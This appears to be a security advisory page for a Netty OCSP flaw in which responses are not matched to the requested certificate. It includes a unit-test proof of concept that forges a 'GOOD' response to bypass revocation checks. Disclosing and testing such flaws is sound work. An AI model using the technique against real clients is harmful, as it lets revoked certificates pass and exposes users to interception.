Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-272m-gcwp-mpwg

HighCVSS 7.4 / 10
Published Jul 22, 2026·Last modified Jul 22, 2026
Affected Components(0)

No affected components available

Description

Summary

Netty's OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID. A bad actor can replay a GOOD status response issued for an unrelated certificate (by the same CA) to bypass revocation checks for any certificate.

Details

io.netty.handler.ssl.ocsp.OcspClient#validateResponse fails to assert that the CertificateID within the returned BasicOCSPResp matches the original certificate being validated.

When OcspClient.query(...) executes, it builds an OCSP request using the victim certificate's serial number and issuer hash. It then sends this request and receives a response. While the client verifies the signature of the response against the trusted issuer (or a valid responder chain), it never checks the CertificateID inside the response payload.

A bad actor who has access to any other valid, non-revoked certificate issued by the same CA can obtain a legitimately signed OCSP response indicating that the unrelated certificate is GOOD. The bad actor can then return this valid response to the Netty client when it queries the status of any other certificate (e.g., a revoked certificate) issued by the same CA. Because the signature is valid (signed by the CA) and the CertificateID is ignored, the client will incorrectly accept the target certificate as valid.

As per https://datatracker.ietf.org/doc/html/rfc6960#section-3.2 we have:

Prior to accepting a signed response for a particular certificate as
   valid, OCSP clients SHALL confirm that:

   1. The certificate identified in a received response corresponds to
      the certificate that was identified in the corresponding request;

PoC

The following test case in io.netty.handler.ssl.ocsp.OcspClientTest demonstrates how the implementation accepts a forged OCSP response for a completely unrelated certificate, proving the bypass.

    @Test
    void testCertIdBypass() throws Exception {
        X509Bundle caRoot = new CertificateBuilder()
                .algorithm(CertificateBuilder.Algorithm.rsa2048)
                .subject("CN=TrustedRootCA")
                .setIsCertificateAuthority(true)
                .buildSelfSigned();

        GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
        AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
        X509Bundle targetCert = new CertificateBuilder()
                .algorithm(CertificateBuilder.Algorithm.rsa2048)
                .subject("CN=TargetServer")
                .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
                .buildIssuedBy(caRoot);

        X509CertificateHolder caHolder = new JcaX509CertificateHolder(caRoot.getCertificate());
        BasicOCSPResp forgedBasicResp = createBasicOcspResponse(caRoot, new X509CertificateHolder[]{caHolder});
        OCSPResp forgedResponse = new OCSPRespBuilder().build(OCSPRespBuilder.SUCCESSFUL, forgedBasicResp);
        byte[] forgedResponseEncoded = forgedResponse.getEncoded();

        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            IoTransport transport = IoTransport.create(group.next(), () -> {
                NioSocketChannel channel = new NioSocketChannel();
                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
                    @Override
                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
                        promise.setSuccess();

                        ctx.executor().execute(() -> {
                            ctx.pipeline().fireChannelActive();

                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(forgedResponseEncoded));
                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());

                            ctx.pipeline().fireChannelRead(httpResponse);
                        });
                    }
                });
                return channel;
            }, NioDatagramChannel::new);

            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(transport);
            Promise<BasicOCSPResp> promise = OcspClient.query(targetCert.getCertificate(), caRoot.getCertificate(), false, transport, resolver);

            promise.await();

            assertFalse(promise.isSuccess(),
                    "Netty incorrectly accepted the response for the unrelated certificate. The CertificateID was ignored!");
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

Certificate Validation Bypass. Any application using Netty's OcspClient to check certificate revocation status is impacted.

Risk Scores
Base Score
7.4

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
6.8

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.18%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard